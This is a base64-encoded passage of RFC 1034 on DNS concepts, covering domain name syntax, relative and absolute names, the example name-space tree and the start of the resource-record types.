0ZXJuYWxseSwgcHJvZ3JhbXMgdGhhdCBtYW5pcHVsYXRlIGRvbWFpbiBuYW1lcyBzaG91bGQgcmVwcmVzZW50IHRoZW0KYXMgc2VxdWVuY2VzIG9mIGxhYmVscywgd2hlcmUgZWFjaCBsYWJlbCBpcyBhIGxlbmd0aCBvY3RldCBmb2xsb3dlZCBieQphbiBvY3RldCBzdHJpbmcuICBCZWNhdXNlIGFsbCBkb21haW4gbmFtZXMgZW5kIGF0IHRoZSByb290LCB3aGljaCBoYXMgYQpudWxsIHN0cmluZyBmb3IgYSBsYWJlbCwgdGhlc2UgaW50ZXJuYWwgcmVwcmVzZW50YXRpb25zIGNhbiB1c2UgYSBsZW5ndGgKYnl0ZSBvZiB6ZXJvIHRvIHRlcm1pbmF0ZSBhIGRvbWFpbiBuYW1lLgoKQnkgY29udmVudGlvbiwgZG9tYWluIG5hbWVzIGNhbiBiZSBzdG9yZWQgd2l0aCBhcmJpdHJhcnkgY2FzZSwgYnV0CmRvbWFpbiBuYW1lIGNvbXBhcmlzb25zIGZvciBhbGwgcHJlc2VudCBkb21haW4gZnVuY3Rpb25zIGFyZSBkb25lIGluIGEKY2FzZS1pbnNlbnNpdGl2ZSBtYW5uZXIsIGFzc3VtaW5nIGFuIEFTQ0lJIGNoYXJhY3RlciBzZXQsIGFuZCBhIGhpZ2gKb3JkZXIgemVybyBiaXQuICBUaGlzIG1lYW5zIHRoYXQgeW91IGFyZSBmcmVlIHRvIGNyZWF0ZSBhIG5vZGUgd2l0aApsYWJlbCAiQSIgb3IgYSBub2RlIHdpdGggbGFiZWwgImEiLCBidXQgbm90IGJvdGggYXMgYnJvdGhlcnM7IHlvdSBjb3VsZApyZWZlciB0byBlaXRoZXIgdXNpbmcgImEiIG9yICJBIi4gIFdoZW4geW91IHJlY2VpdmUgYSBkb21haW4gbmFtZSBvcgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgN10KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpsYWJlbCwgeW91IHNob3VsZCBwcmVzZXJ2ZSBpdHMgY2FzZS4gIFRoZSByYXRpb25hbGUgZm9yIHRoaXMgY2hvaWNlIGlzCnRoYXQgd2UgbWF5IHNvbWVkYXkgbmVlZCB0byBhZGQgZnVsbCBiaW5hcnkgZG9tYWluIG5hbWVzIGZvciBuZXcKc2VydmljZXM7IGV4aXN0aW5nIHNlcnZpY2VzIHdvdWxkIG5vdCBiZSBjaGFuZ2VkLgoKV2hlbiBhIHVzZXIgbmVlZHMgdG8gdHlwZSBhIGRvbWFpbiBuYW1lLCB0aGUgbGVuZ3RoIG9mIGVhY2ggbGFiZWwgaXMKb21pdHRlZCBhbmQgdGhlIGxhYmVscyBhcmUgc2VwYXJhdGVkIGJ5IGRvdHMgKCIuIikuICBTaW5jZSBhIGNvbXBsZXRlCmRvbWFpbiBuYW1lIGVuZHMgd2l0aCB0aGUgcm9vdCBsYWJlbCwgdGhpcyBsZWFkcyB0byBhIHByaW50ZWQgZm9ybSB3aGljaAplbmRzIGluIGEgZG90LiAgV2UgdXNlIHRoaXMgcHJvcGVydHkgdG8gZGlzdGluZ3Vpc2ggYmV0d2VlbjoKCiAgIC0gYSBjaGFyYWN0ZXIgc3RyaW5nIHdoaWNoIHJlcHJlc2VudHMgYSBjb21wbGV0ZSBkb21haW4gbmFtZQogICAgIChvZnRlbiBjYWxsZWQgImFic29sdXRlIikuICBGb3IgZXhhbXBsZSwgInBvbmVyaWEuSVNJLkVEVS4iCgogICAtIGEgY2hhcmFjdGVyIHN0cmluZyB0aGF0IHJlcHJlc2VudHMgdGhlIHN0YXJ0aW5nIGxhYmVscyBvZiBhCiAgICAgZG9tYWluIG5hbWUgd2hpY2ggaXMgaW5jb21wbGV0ZSwgYW5kIHNob3VsZCBiZSBjb21wbGV0ZWQgYnkKICAgICBsb2NhbCBzb2Z0d2FyZSB1c2luZyBrbm93bGVkZ2Ugb2YgdGhlIGxvY2FsIGRvbWFpbiAob2Z0ZW4KICAgICBjYWxsZWQgInJlbGF0aXZlIikuICBGb3IgZXhhbXBsZSwgInBvbmVyaWEiIHVzZWQgaW4gdGhlCiAgICAgSVNJLkVEVSBkb21haW4uCgpSZWxhdGl2ZSBuYW1lcyBhcmUgZWl0aGVyIHRha2VuIHJlbGF0aXZlIHRvIGEgd2VsbCBrbm93biBvcmlnaW4sIG9yIHRvIGEKbGlzdCBvZiBkb21haW5zIHVzZWQgYXMgYSBzZWFyY2ggbGlzdC4gIFJlbGF0aXZlIG5hbWVzIGFwcGVhciBtb3N0bHkgYXQKdGhlIHVzZXIgaW50ZXJmYWNlLCB3aGVyZSB0aGVpciBpbnRlcnByZXRhdGlvbiB2YXJpZXMgZnJvbQppbXBsZW1lbnRhdGlvbiB0byBpbXBsZW1lbnRhdGlvbiwgYW5kIGluIG1hc3RlciBmaWxlcywgd2hlcmUgdGhleSBhcmUKcmVsYXRpdmUgdG8gYSBzaW5nbGUgb3JpZ2luIGRvbWFpbiBuYW1lLiAgVGhlIG1vc3QgY29tbW9uIGludGVycHJldGF0aW9uCnVzZXMgdGhlIHJvb3QgIi4iIGFzIGVpdGhlciB0aGUgc2luZ2xlIG9yaWdpbiBvciBhcyBvbmUgb2YgdGhlIG1lbWJlcnMKb2YgdGhlIHNlYXJjaCBsaXN0LCBzbyBhIG11bHRpLWxhYmVsIHJlbGF0aXZlIG5hbWUgaXMgb2Z0ZW4gb25lIHdoZXJlCnRoZSB0cmFpbGluZyBkb3QgaGFzIGJlZW4gb21pdHRlZCB0byBzYXZlIHR5cGluZy4KClRvIHNpbXBsaWZ5IGltcGxlbWVudGF0aW9ucywgdGhlIHRvdGFsIG51bWJlciBvZiBvY3RldHMgdGhhdCByZXByZXNlbnQgYQpkb21haW4gbmFtZSAoaS5lLiwgdGhlIHN1bSBvZiBhbGwgbGFiZWwgb2N0ZXRzIGFuZCBsYWJlbCBsZW5ndGhzKSBpcwpsaW1pdGVkIHRvIDI1NS4KCkEgZG9tYWluIGlzIGlkZW50aWZpZWQgYnkgYSBkb21haW4gbmFtZSwgYW5kIGNvbnNpc3RzIG9mIHRoYXQgcGFydCBvZgp0aGUgZG9tYWluIG5hbWUgc3BhY2UgdGhhdCBpcyBhdCBvciBiZWxvdyB0aGUgZG9tYWluIG5hbWUgd2hpY2gKc3BlY2lmaWVzIHRoZSBkb21haW4uICBBIGRvbWFpbiBpcyBhIHN1YmRvbWFpbiBvZiBhbm90aGVyIGRvbWFpbiBpZiBpdAppcyBjb250YWluZWQgd2l0aGluIHRoYXQgZG9tYWluLiAgVGhpcyByZWxhdGlvbnNoaXAgY2FuIGJlIHRlc3RlZCBieQpzZWVpbmcgaWYgdGhlIHN1YmRvbWFpbidzIG5hbWUgZW5kcyB3aXRoIHRoZSBjb250YWluaW5nIGRvbWFpbidzIG5hbWUuCkZvciBleGFtcGxlLCBBLkIuQy5EIGlzIGEgc3ViZG9tYWluIG9mIEIuQy5ELCBDLkQsIEQsIGFuZCAiICIuCgozLjIuIEFkbWluaXN0cmF0aXZlIGd1aWRlbGluZXMgb24gdXNlCgpBcyBhIG1hdHRlciBvZiBwb2xpY3ksIHRoZSBETlMgdGVjaG5pY2FsIHNwZWNpZmljYXRpb25zIGRvIG5vdCBtYW5kYXRlIGEKcGFydGljdWxhciB0cmVlIHN0cnVjdHVyZSBvciBydWxlcyBmb3Igc2VsZWN0aW5nIGxhYmVsczsgaXRzIGdvYWwgaXMgdG8KYmUgYXMgZ2VuZXJhbCBhcyBwb3NzaWJsZSwgc28gdGhhdCBpdCBjYW4gYmUgdXNlZCB0byBidWlsZCBhcmJpdHJhcnkKYXBwbGljYXRpb25zLiAgSW4gcGFydGljdWxhciwgdGhlIHN5c3RlbSB3YXMgZGVzaWduZWQgc28gdGhhdCB0aGUgbmFtZQpzcGFjZSBkaWQgbm90IGhhdmUgdG8gYmUgb3JnYW5pemVkIGFsb25nIHRoZSBsaW5lcyBvZiBuZXR3b3JrCmJvdW5kYXJpZXMsIG5hbWUgc2VydmVycywgZXRjLiAgVGhlIHJhdGlvbmFsZSBmb3IgdGhpcyBpcyBub3QgdGhhdCB0aGUKbmFtZSBzcGFjZSBzaG91bGQgaGF2ZSBubyBpbXBsaWVkIHNlbWFudGljcywgYnV0IHJhdGhlciB0aGF0IHRoZSBjaG9pY2UKb2YgaW1wbGllZCBzZW1hbnRpY3Mgc2hvdWxkIGJlIGxlZnQgb3BlbiB0byBiZSB1c2VkIGZvciB0aGUgcHJvYmxlbSBhdAoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgOF0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpoYW5kLCBhbmQgdGhhdCBkaWZmZXJlbnQgcGFydHMgb2YgdGhlIHRyZWUgY2FuIGhhdmUgZGlmZmVyZW50IGltcGxpZWQKc2VtYW50aWNzLiAgRm9yIGV4YW1wbGUsIHRoZSBJTi1BRERSLkFSUEEgZG9tYWluIGlzIG9yZ2FuaXplZCBhbmQKZGlzdHJpYnV0ZWQgYnkgbmV0d29yayBhbmQgaG9zdCBhZGRyZXNzIGJlY2F1c2UgaXRzIHJvbGUgaXMgdG8gdHJhbnNsYXRlCmZyb20gbmV0d29yayBvciBob3N0IG51bWJlcnMgdG8gbmFtZXM7IE5ldEJJT1MgZG9tYWlucyBbUkZDLTEwMDEsIFJGQy0KMTAwMl0gYXJlIGZsYXQgYmVjYXVzZSB0aGF0IGlzIGFwcHJvcHJpYXRlIGZvciB0aGF0IGFwcGxpY2F0aW9uLgoKSG93ZXZlciwgdGhlcmUgYXJlIHNvbWUgZ3VpZGVsaW5lcyB0aGF0IGFwcGx5IHRvIHRoZSAibm9ybWFsIiBwYXJ0cyBvZgp0aGUgbmFtZSBzcGFjZSB1c2VkIGZvciBob3N0cywgbWFpbGJveGVzLCBldGMuLCB0aGF0IHdpbGwgbWFrZSB0aGUgbmFtZQpzcGFjZSBtb3JlIHVuaWZvcm0sIHByb3ZpZGUgZm9yIGdyb3d0aCwgYW5kIG1pbmltaXplIHByb2JsZW1zIGFzCnNvZnR3YXJlIGlzIGNvbnZlcnRlZCBmcm9tIHRoZSBvbGRlciBob3N0IHRhYmxlLiAgVGhlIHBvbGl0aWNhbApkZWNpc2lvbnMgYWJvdXQgdGhlIHRvcCBsZXZlbHMgb2YgdGhlIHRyZWUgb3JpZ2luYXRlZCBpbiBSRkMtOTIwLgpDdXJyZW50IHBvbGljeSBmb3IgdGhlIHRvcCBsZXZlbHMgaXMgZGlzY3Vzc2VkIGluIFtSRkMtMTAzMl0uICBNSUxORVQKY29udmVyc2lvbiBpc3N1ZXMgYXJlIGNvdmVyZWQgaW4gW1JGQy0xMDMxXS4KCkxvd2VyIGRvbWFpbnMgd2hpY2ggd2lsbCBldmVudHVhbGx5IGJlIGJyb2tlbiBpbnRvIG11bHRpcGxlIHpvbmVzIHNob3VsZApwcm92aWRlIGJyYW5jaGluZyBhdCB0aGUgdG9wIG9mIHRoZSBkb21haW4gc28gdGhhdCB0aGUgZXZlbnR1YWwKZGVjb21wb3NpdGlvbiBjYW4gYmUgZG9uZSB3aXRob3V0IHJlbmFtaW5nLiAgTm9kZSBsYWJlbHMgd2hpY2ggdXNlCnNwZWNpYWwgY2hhcmFjdGVycywgbGVhZGluZyBkaWdpdHMsIGV0Yy4sIGFyZSBsaWtlbHkgdG8gYnJlYWsgb2xkZXIKc29mdHdhcmUgd2hpY2ggZGVwZW5kcyBvbiBtb3JlIHJlc3RyaWN0aXZlIGNob2ljZXMuCgozLjMuIFRlY2huaWNhbCBndWlkZWxpbmVzIG9uIHVzZQoKQmVmb3JlIHRoZSBETlMgY2FuIGJlIHVzZWQgdG8gaG9sZCBuYW1pbmcgaW5mb3JtYXRpb24gZm9yIHNvbWUga2luZCBvZgpvYmplY3QsIHR3byBuZWVkcyBtdXN0IGJlIG1ldDoKCiAgIC0gQSBjb252ZW50aW9uIGZvciBtYXBwaW5nIGJldHdlZW4gb2JqZWN0IG5hbWVzIGFuZCBkb21haW4KICAgICBuYW1lcy4gIFRoaXMgZGVzY3JpYmVzIGhvdyBpbmZvcm1hdGlvbiBhYm91dCBhbiBvYmplY3QgaXMKICAgICBhY2Nlc3NlZC4KCiAgIC0gUlIgdHlwZXMgYW5kIGRhdGEgZm9ybWF0cyBmb3IgZGVzY3JpYmluZyB0aGUgb2JqZWN0LgoKVGhlc2UgcnVsZXMgY2FuIGJlIHF1aXRlIHNpbXBsZSBvciBmYWlybHkgY29tcGxleC4gIFZlcnkgb2Z0ZW4sIHRoZQpkZXNpZ25lciBtdXN0IHRha2UgaW50byBhY2NvdW50IGV4aXN0aW5nIGZvcm1hdHMgYW5kIHBsYW4gZm9yIHVwd2FyZApjb21wYXRpYmlsaXR5IGZvciBleGlzdGluZyB1c2FnZS4gIE11bHRpcGxlIG1hcHBpbmdzIG9yIGxldmVscyBvZgptYXBwaW5nIG1heSBiZSByZXF1aXJlZC4KCkZvciBob3N0cywgdGhlIG1hcHBpbmcgZGVwZW5kcyBvbiB0aGUgZXhpc3Rpbmcgc3ludGF4IGZvciBob3N0IG5hbWVzCndoaWNoIGlzIGEgc3Vic2V0IG9mIHRoZSB1c3VhbCB0ZXh0IHJlcHJlc2VudGF0aW9uIGZvciBkb21haW4gbmFtZXMsCnRvZ2V0aGVyIHdpdGggUlIgZm9ybWF0cyBmb3IgZGVzY3JpYmluZyBob3N0IGFkZHJlc3NlcywgZXRjLiAgQmVjYXVzZSB3ZQpuZWVkIGEgcmVsaWFibGUgaW52ZXJzZSBtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBob3N0IG5hbWUsIGEgc3BlY2lhbAptYXBwaW5nIGZvciBhZGRyZXNzZXMgaW50byB0aGUgSU4tQUREUi5BUlBBIGRvbWFpbiBpcyBhbHNvIGRlZmluZWQuCgpGb3IgbWFpbGJveGVzLCB0aGUgbWFwcGluZyBpcyBzbGlnaHRseSBtb3JlIGNvbXBsZXguICBUaGUgdXN1YWwgbWFpbAphZGRyZXNzIDxsb2NhbC1wYXJ0PkA8bWFpbC1kb21haW4+IGlzIG1hcHBlZCBpbnRvIGEgZG9tYWluIG5hbWUgYnkKY29udmVydGluZyA8bG9jYWwtcGFydD4gaW50byBhIHNpbmdsZSBsYWJlbCAocmVnYXJkbGVzIG9mIGRvdHMgaXQKY29udGFpbnMpLCBjb252ZXJ0aW5nIDxtYWlsLWRvbWFpbj4gaW50byBhIGRvbWFpbiBuYW1lIHVzaW5nIHRoZSB1c3VhbAp0ZXh0IGZvcm1hdCBmb3IgZG9tYWluIG5hbWVzIChkb3RzIGRlbm90ZSBsYWJlbCBicmVha3MpLCBhbmQKY29uY2F0ZW5hdGluZyB0aGUgdHdvIHRvIGZvcm0gYSBzaW5nbGUgZG9tYWluIG5hbWUuICBUaHVzIHRoZSBtYWlsYm94CgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA5XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCkhPU1RNQVNURVJAU1JJLU5JQy5BUlBBIGlzIHJlcHJlc2VudGVkIGFzIGEgZG9tYWluIG5hbWUgYnkKSE9TVE1BU1RFUi5TUkktTklDLkFSUEEuICBBbiBhcHByZWNpYXRpb24gZm9yIHRoZSByZWFzb25zIGJlaGluZCB0aGlzCmRlc2lnbiBhbHNvIG11c3QgdGFrZSBpbnRvIGFjY291bnQgdGhlIHNjaGVtZSBmb3IgbWFpbCBleGNoYW5nZXMgW1JGQy0KOTc0XS4KClRoZSB0eXBpY2FsIHVzZXIgaXMgbm90IGNvbmNlcm5lZCB3aXRoIGRlZmluaW5nIHRoZXNlIHJ1bGVzLCBidXQgc2hvdWxkCnVuZGVyc3RhbmQgdGhhdCB0aGV5IHVzdWFsbHkgYXJlIHRoZSByZXN1bHQgb2YgbnVtZXJvdXMgY29tcHJvbWlzZXMKYmV0d2VlbiBkZXNpcmVzIGZvciB1cHdhcmQgY29tcGF0aWJpbGl0eSB3aXRoIG9sZCB1c2FnZSwgaW50ZXJhY3Rpb25zCmJldHdlZW4gZGlmZmVyZW50IG9iamVjdCBkZWZpbml0aW9ucywgYW5kIHRoZSBpbmV2aXRhYmxlIHVyZ2UgdG8gYWRkIG5ldwpmZWF0dXJlcyB3aGVuIGRlZmluaW5nIHRoZSBydWxlcy4gIFRoZSB3YXkgdGhlIEROUyBpcyB1c2VkIHRvIHN1cHBvcnQKc29tZSBvYmplY3QgaXMgb2Z0ZW4gbW9yZSBjcnVjaWFsIHRoYW4gdGhlIHJlc3RyaWN0aW9ucyBpbmhlcmVudCBpbiB0aGUKRE5TLgoKMy40LiBFeGFtcGxlIG5hbWUgc3BhY2UKClRoZSBmb2xsb3dpbmcgZmlndXJlIHNob3dzIGEgcGFydCBvZiB0aGUgY3VycmVudCBkb21haW4gbmFtZSBzcGFjZSwgYW5kCmlzIHVzZWQgaW4gbWFueSBleGFtcGxlcyBpbiB0aGlzIFJGQy4gIE5vdGUgdGhhdCB0aGUgdHJlZSBpcyBhIHZlcnkKc21hbGwgc3Vic2V0IG9mIHRoZSBhY3R1YWwgbmFtZSBzcGFjZS4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgIE1JTCAgICAgICAgICAgICAgICAgICBFRFUgICAgICAgICAgICAgICAgQVJQQQogICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgIHwKICAgICAgICstLS0tLSstLS0tLSsgICAgICAgICAgICAgICB8ICAgICArLS0tLS0tKy0tLS0tKy0tLS0tKwogICAgICAgfCAgICAgfCAgICAgfCAgICAgICAgICAgICAgIHwgICAgIHwgICAgICB8ICAgICAgICAgICB8CiAgICAgIEJSTCAgTk9TQyAgREFSUEEgICAgICAgICAgICAgfCAgSU4tQUREUiAgU1JJLU5JQyAgICAgQUNDCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgKy0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0rCiAgICAgICB8ICAgICAgICB8ICAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgIHwgICAgICAgIHwKICAgICAgVUNJICAgICAgTUlUICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICBVREVMICAgICBZQUxFCiAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgICBJU0kKICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICstLS0rLS0tKyAgICAgICAgICAgICAgfAogICAgICAgICAgICB8ICAgICAgIHwgICAgICAgICAgICAgIHwKICAgICAgICAgICBMQ1MgIEFDSElMTEVTICArLS0rLS0tLS0rLS0tLS0rLS0tLS0tLS0rCiAgICAgICAgICAgIHwgICAgICAgICAgICAgfCAgfCAgICAgfCAgICAgfCAgICAgICAgfAogICAgICAgICAgICBYWCAgICAgICAgICAgIEEgIEMgICBWQVhBICBWRU5FUkEgTW9ja2FwZXRyaXMKCkluIHRoaXMgZXhhbXBsZSwgdGhlIHJvb3QgZG9tYWluIGhhcyB0aHJlZSBpbW1lZGlhdGUgc3ViZG9tYWluczogTUlMLApFRFUsIGFuZCBBUlBBLiAgVGhlIExDUy5NSVQuRURVIGRvbWFpbiBoYXMgb25lIGltbWVkaWF0ZSBzdWJkb21haW4gbmFtZWQKWFguTENTLk1JVC5FRFUuICBBbGwgb2YgdGhlIGxlYXZlcyBhcmUgYWxzbyBkb21haW5zLgoKMy41LiBQcmVmZXJyZWQgbmFtZSBzeW50YXgKClRoZSBETlMgc3BlY2lmaWNhdGlvbnMgYXR0ZW1wdCB0byBiZSBhcyBnZW5lcmFsIGFzIHBvc3NpYmxlIGluIHRoZSBydWxlcwoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAxMF0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpmb3IgY29uc3RydWN0aW5nIGRvbWFpbiBuYW1lcy4gIFRoZSBpZGVhIGlzIHRoYXQgdGhlIG5hbWUgb2YgYW55CmV4aXN0aW5nIG9iamVjdCBjYW4gYmUgZXhwcmVzc2VkIGFzIGEgZG9tYWluIG5hbWUgd2l0aCBtaW5pbWFsIGNoYW5nZXMuCkhvd2V2ZXIsIHdoZW4gYXNzaWduaW5nIGEgZG9tYWluIG5hbWUgZm9yIGFuIG9iamVjdCwgdGhlIHBydWRlbnQgdXNlcgp3aWxsIHNlbGVjdCBhIG5hbWUgd2hpY2ggc2F0aXNmaWVzIGJvdGggdGhlIHJ1bGVzIG9mIHRoZSBkb21haW4gc3lzdGVtCmFuZCBhbnkgZXhpc3RpbmcgcnVsZXMgZm9yIHRoZSBvYmplY3QsIHdoZXRoZXIgdGhlc2UgcnVsZXMgYXJlIHB1Ymxpc2hlZApvciBpbXBsaWVkIGJ5IGV4aXN0aW5nIHByb2dyYW1zLgoKRm9yIGV4YW1wbGUsIHdoZW4gbmFtaW5nIGEgbWFpbCBkb21haW4sIHRoZSB1c2VyIHNob3VsZCBzYXRpc2Z5IGJvdGggdGhlCnJ1bGVzIG9mIHRoaXMgbWVtbyBhbmQgdGhvc2UgaW4gUkZDLTgyMi4gIFdoZW4gY3JlYXRpbmcgYSBuZXcgaG9zdCBuYW1lLAp0aGUgb2xkIHJ1bGVzIGZvciBIT1NUUy5UWFQgc2hvdWxkIGJlIGZvbGxvd2VkLiAgVGhpcyBhdm9pZHMgcHJvYmxlbXMKd2hlbiBvbGQgc29mdHdhcmUgaXMgY29udmVydGVkIHRvIHVzZSBkb21haW4gbmFtZXMuCgpUaGUgZm9sbG93aW5nIHN5bnRheCB3aWxsIHJlc3VsdCBpbiBmZXdlciBwcm9ibGVtcyB3aXRoIG1hbnkKYXBwbGljYXRpb25zIHRoYXQgdXNlIGRvbWFpbiBuYW1lcyAoZS5nLiwgbWFpbCwgVEVMTkVUKS4KCjxkb21haW4+IDo6PSA8c3ViZG9tYWluPiB8ICIgIgoKPHN1YmRvbWFpbj4gOjo9IDxsYWJlbD4gfCA8c3ViZG9tYWluPiAiLiIgPGxhYmVsPgoKPGxhYmVsPiA6Oj0gPGxldHRlcj4gWyBbIDxsZGgtc3RyPiBdIDxsZXQtZGlnPiBdCgo8bGRoLXN0cj4gOjo9IDxsZXQtZGlnLWh5cD4gfCA8bGV0LWRpZy1oeXA+IDxsZGgtc3RyPgoKPGxldC1kaWctaHlwPiA6Oj0gPGxldC1kaWc+IHwgIi0iCgo8bGV0LWRpZz4gOjo9IDxsZXR0ZXI+IHwgPGRpZ2l0PgoKPGxldHRlcj4gOjo9IGFueSBvbmUgb2YgdGhlIDUyIGFscGhhYmV0aWMgY2hhcmFjdGVycyBBIHRocm91Z2ggWiBpbgp1cHBlciBjYXNlIGFuZCBhIHRocm91Z2ggeiBpbiBsb3dlciBjYXNlCgo8ZGlnaXQ+IDo6PSBhbnkgb25lIG9mIHRoZSB0ZW4gZGlnaXRzIDAgdGhyb3VnaCA5CgpOb3RlIHRoYXQgd2hpbGUgdXBwZXIgYW5kIGxvd2VyIGNhc2UgbGV0dGVycyBhcmUgYWxsb3dlZCBpbiBkb21haW4KbmFtZXMsIG5vIHNpZ25pZmljYW5jZSBpcyBhdHRhY2hlZCB0byB0aGUgY2FzZS4gIFRoYXQgaXMsIHR3byBuYW1lcyB3aXRoCnRoZSBzYW1lIHNwZWxsaW5nIGJ1dCBkaWZmZXJlbnQgY2FzZSBhcmUgdG8gYmUgdHJlYXRlZCBhcyBpZiBpZGVudGljYWwuCgpUaGUgbGFiZWxzIG11c3QgZm9sbG93IHRoZSBydWxlcyBmb3IgQVJQQU5FVCBob3N0IG5hbWVzLiAgVGhleSBtdXN0CnN0YXJ0IHdpdGggYSBsZXR0ZXIsIGVuZCB3aXRoIGEgbGV0dGVyIG9yIGRpZ2l0LCBhbmQgaGF2ZSBhcyBpbnRlcmlvcgpjaGFyYWN0ZXJzIG9ubHkgbGV0dGVycywgZGlnaXRzLCBhbmQgaHlwaGVuLiAgVGhlcmUgYXJlIGFsc28gc29tZQpyZXN0cmljdGlvbnMgb24gdGhlIGxlbmd0aC4gIExhYmVscyBtdXN0IGJlIDYzIGNoYXJhY3RlcnMgb3IgbGVzcy4KCkZvciBleGFtcGxlLCB0aGUgZm9sbG93aW5nIHN0cmluZ3MgaWRlbnRpZnkgaG9zdHMgaW4gdGhlIEludGVybmV0OgoKQS5JU0kuRURVICBYWC5MQ1MuTUlULkVEVSAgU1JJLU5JQy5BUlBBCgozLjYuIFJlc291cmNlIFJlY29yZHMKCkEgZG9tYWluIG5hbWUgaWRlbnRpZmllcyBhIG5vZGUuICBFYWNoIG5vZGUgaGFzIGEgc2V0IG9mIHJlc291cmNlCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDExXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCmluZm9ybWF0aW9uLCB3aGljaCBtYXkgYmUgZW1wdHkuICBUaGUgc2V0IG9mIHJlc291cmNlIGluZm9ybWF0aW9uCmFzc29jaWF0ZWQgd2l0aCBhIHBhcnRpY3VsYXIgbmFtZSBpcyBjb21wb3NlZCBvZiBzZXBhcmF0ZSByZXNvdXJjZQpyZWNvcmRzIChSUnMpLiAgVGhlIG9yZGVyIG9mIFJScyBpbiBhIHNldCBpcyBub3Qgc2lnbmlmaWNhbnQsIGFuZCBuZWVkCm5vdCBiZSBwcmVzZXJ2ZWQgYnkgbmFtZSBzZXJ2ZXJzLCByZXNvbHZlcnMsIG9yIG90aGVyIHBhcnRzIG9mIHRoZSBETlMuCgpXaGVuIHdlIHRhbGsgYWJvdXQgYSBzcGVjaWZpYyBSUiwgd2UgYXNzdW1lIGl0IGhhcyB0aGUgZm9sbG93aW5nOgoKb3duZXIgICAgICAgICAgIHdoaWNoIGlzIHRoZSBkb21haW4gbmFtZSB3aGVyZSB0aGUgUlIgaXMgZm91bmQuCgp0eXBlICAgICAgICAgICAgd2hpY2ggaXMgYW4gZW5jb2RlZCAxNiBiaXQgdmFsdWUgdGhhdCBzcGVjaWZpZXMgdGhlIHR5cGUKICAgICAgICAgICAgICAgIG9mIHRoZSByZXNvdXJjZSBpbiB0aGlzIHJlc291cmNlIHJlY29yZC4gIFR5cGVzIHJlZmVyIHRvCiAgICAgICAgICAgICAgICBhYnN0cmFjdCByZXNvdXJjZXMuCgogICAgICAgICAgICAgICAgVGhpcyBtZW1vIHVzZXMgdGhlIGZvbGxvd2luZyB0eXBlczoKCiAgICAgICAgICAgICAgICBBICAgICAgICAgICAgICAgYSBob3N0IGFkZHJlc3MKCiAgICAgICAgICAgICAgICBDTkFNRSAgICAgICAgICAgaWRlbnRpZmllcyB0aGUgY2Fub25pY2FsIG5hbWUgb2YgYW4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGlhcwoKICAgICAgICAgICAgICAgIEhJTkZPICAgICAgICAgICBpZGVudGlmaWVzIHRoZSBDUFUgYW5kIE9TIHVzZWQgYnkgYSBob3N0CgogICAgICAgICAgICAgICAgTVggICAgICAgICAgICAgIGlkZW50aWZpZXMgYSBtYWlsIGV4Y2hhbmdlIGZvciB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb21haW4uICBTZWUgW1JGQy05NzQgZm9yIGRldGFpbHMuCgogICAgICAgICAgICAgICAgTlMKICAgICAgICAgICAgICAgIHRoZSBhdXRob3JpdGF0aXZlIG5hbWUgc2VydmVyIGZvciB0aGUgZG9tYWluCgogICAgICAgICAgICAgICAgUFRSCiAgICAgICAgICAgICAgICBhIHBvaW50ZXIgdG8gYW5vdGhlciBwYXJ0IG9mIHRoZSBkb21haW4gbmFtZSBzcGFjZQoKICAgICAgICAgICAgICAgIFNPQQogICAgICAgICAgICAgICAgaWRlbnRpZmllcyB0aGUgc3RhcnQgb2YgYSB6b25lIG9mIGF1dGhvcml0eV0KCmNsYXNzICAgICAgICAgICB3aGljaCBpcyBhbiBlbmNvZGVkIDE2IGJpdCB2YWx1ZSB3aGljaCBpZGVudGlmaWVzIGEKICAgICAgICAgICAgICAgIHByb3RvY29sIGZhbWlseSBvciBpbnN0YW5jZSBvZiBhI